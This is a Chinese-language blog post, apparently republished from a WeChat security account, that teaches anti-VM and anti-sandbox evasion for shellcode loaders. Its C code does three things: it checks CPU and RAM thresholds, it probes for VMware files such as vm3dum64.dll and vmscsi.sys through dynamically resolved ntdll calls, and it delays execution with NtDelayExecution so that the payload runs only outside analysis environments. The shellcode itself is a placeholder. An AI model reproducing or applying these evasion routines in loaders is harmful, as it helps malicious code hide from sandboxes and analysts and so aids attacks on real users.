反虚拟机和反沙箱相关
2024-1-15 00:17:52 Author: 白帽子(查看原文) 阅读量:21 收藏

通过关注系统环境来检测沙箱或虚拟机。导致不运行恶意代码,而是运行其他无害的代码。

RAM/CPU

一般来说虚拟的内存和CPU的数量都是有限的,但是这里不建议加虚拟机的反调试,因为有时候我们去打项目的时候难免会遇到Vcenter搭建的,但是话又说回来,一般来说使用Vcenter创建的虚拟机里面都跑一些正常的业务,内存这些也就不会很小。

比如说我们可以检测CPU处理器的数量是否低于或等于2,并且RAM是否低于4GB,如果低于的话那么我们直接运行正常的代码就可以了比如说可以MessageBoxA弹框之类的。

如下代码:

#include <stdio.h>#include <windows.h>
int main() { SYSTEM_INFO info; MEMORYSTATUSEX status; GetSystemInfo(&info); printf("处理器: %u\n", info.dwNumberOfProcessors); status.dwLength = sizeof(status); GlobalMemoryStatusEx(&status); printf("内存: %I64u MB\n", status.ullTotalPhys / (1024 * 1024));
return 0;}

这里的SYSTEM_INFO,它是一个结构类型,它里面包含了系统资源的相关信息,我们可以利用它来检索CPU的数量。MEMORYSTATUSEX也是一个结构,里面包含了内存的状态等等,然后通过调用GetSystemInfo函数来检索关硬件的信息,最后再调用GlobalMemoryStatusEx函数检索有关系统内存状态的信息。

我们来查看虚拟机的内存和CPU。

获取到之后就可以判断了,如果处理器小于4个,并且内存小于4GB的话,执行正常代码。

#include <stdio.h>#include <windows.h>
int main() { SYSTEM_INFO info; MEMORYSTATUSEX status; GetSystemInfo(&info); printf("处理器: %u\n", info.dwNumberOfProcessors); status.dwLength = sizeof(status); GlobalMemoryStatusEx(&status); printf("内存: %I64u MB\n", status.ullTotalPhys / (1024 * 1024)); if (info.dwNumberOfProcessors < 8 && (status.ullTotalPhys / (1024 * 1024)) < 4096) { MessageBoxA(NULL, "执行正常代码", "执行正常代码", NULL); } else { MessageBoxA(NULL, "执行shellcode", "执行shellcode", NULL);
} return 0;}

通过查询VM文件反虚拟机

虚拟机需要一些特定的文件才能跑起来,无论是Vmware还是VirtualBox都有自己的特定文件,我们可以查询这些文件的路径来判断是否被分析。

这里可以使用Windows API来实现。

如下代码:

首先通过LoadLibrary去加载NTDLL.DLL模块。

HMODULE ntdllTest = LoadLibrary(L"ntdll.dll");

获取到DLL之后通过GetProcAddress去动态获取函数的地址。

#include <stdio.h>#include <windows.h>#include <winternl.h>
typedef NTSTATUS(NTAPI* pNtOpenFile) ( PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, ULONG ShareAccess, ULONG OpenOptions);typedef VOID(NTAPI* pRtlInitUnicodeString) ( PUNICODE_STRING DestinationString, PCWSTR SourceString);
int main() { //通过LoaderLibrary先去加载NTDLL.DLL模块 HMODULE ntdllTest = LoadLibrary(L"ntdll.dll"); pNtOpenFile NtOpenFile = (pNtOpenFile)GetProcAddress(ntdllTest, "NtOpenFile"); pRtlInitUnicodeString RtlInitUnicodeString = (pRtlInitUnicodeString)GetProcAddress(ntdllTest, "RtlInitUnicodeString"); getchar();}

紧接着指定要读取的文件。

 UNICODE_STRING dirName; RtlInitUnicodeString(&dirName,L"C:\\Users\\Admin\\Desktop\\1.txt");

然后去搜索文件,不区分大小写。

InitializeObjectAttributes(&objectAttributes, &dirName, OBJ_CASE_INSENSITIVE, nullptr, nullptr);

最后打开文件,如果打开成功的话,那么就执行正常代码,如果打开失败的话,那么就执行shellcode。

完整代码:

#include <stdio.h>#include <windows.h>#include <winternl.h>
typedef NTSTATUS(NTAPI* pNtOpenFile) ( PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, ULONG ShareAccess, ULONG OpenOptions);typedef VOID(NTAPI* pRtlInitUnicodeString) ( PUNICODE_STRING DestinationString, PCWSTR SourceString);
int main() { //通过LoaderLibrary先去加载NTDLL.DLL模块 HMODULE ntdllTest = LoadLibrary(L"ntdll.dll"); pNtOpenFile NtOpenFile = (pNtOpenFile)GetProcAddress(ntdllTest, "NtOpenFile"); pRtlInitUnicodeString RtlInitUnicodeString = (pRtlInitUnicodeString)GetProcAddress(ntdllTest, "RtlInitUnicodeString"); HANDLE hFile = NULL; NTSTATUS status; UNICODE_STRING dirName; IO_STATUS_BLOCK ioStatusBlock; RtlInitUnicodeString(&dirName,L"C:\\Users\\Admin\\Desktop\\1.txt"); OBJECT_ATTRIBUTES objectAttributes; InitializeObjectAttributes(&objectAttributes, &dirName, OBJ_CASE_INSENSITIVE, nullptr, nullptr); status = NtOpenFile(&hFile, FILE_READ_DATA, &objectAttributes, &ioStatusBlock, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE); if (!NT_SUCCESS(status)) { MessageBoxA(NULL, "执行shellcode", "shellcode", NULL); } else { MessageBoxA(NULL, "执行正常代码", "执行正常代码", NULL);
}
getchar();}

那么这里的话就可以将C:\Users\Admin\Desktop\1.txt 更改为特定的一些文件,比如VMware 3D 驱动程序,vm3dum64.dll,VMware 虚拟 SCSI 驱动程序 vmscsi.sys等等。

通过Sleep进行规避

我们可以利用延时来规避沙箱。我们可以使用NtDelayExecution来进行延迟。

#include <iostream>#include <Windows.h>#include <string>#include <winternl.h>typedef  NTSTATUS(NTAPI* pNtDelayExecution) (  BOOL Alertable,   PLARGE_INTEGER DelayInterval);
int main(){ //获取NTDLL的基地址 HMODULE hmodule = GetModuleHandleA("NTDLL.DLL"); pNtDelayExecution NtDelayExecution = (pNtDelayExecution)GetProcAddress(hmodule, "NtDelayExecution");
LARGE_INTEGER delay; delay.QuadPart = -50000000; //睡眠5秒 NTSTATUS status = NtDelayExecution(FALSE, &delay);
printf("sucess");}

其实是和Sleep函数是差不多的,这里延迟了5秒,我们在写loader的时候延迟几分钟即可。


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650247310&idx=1&sn=9919145ff681c5ec9106762f1d639c93&chksm=8352b089af32c694c00d2ea638e4c77ab7f5c31471f80f7f926647012bbd50498cac0e031791&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh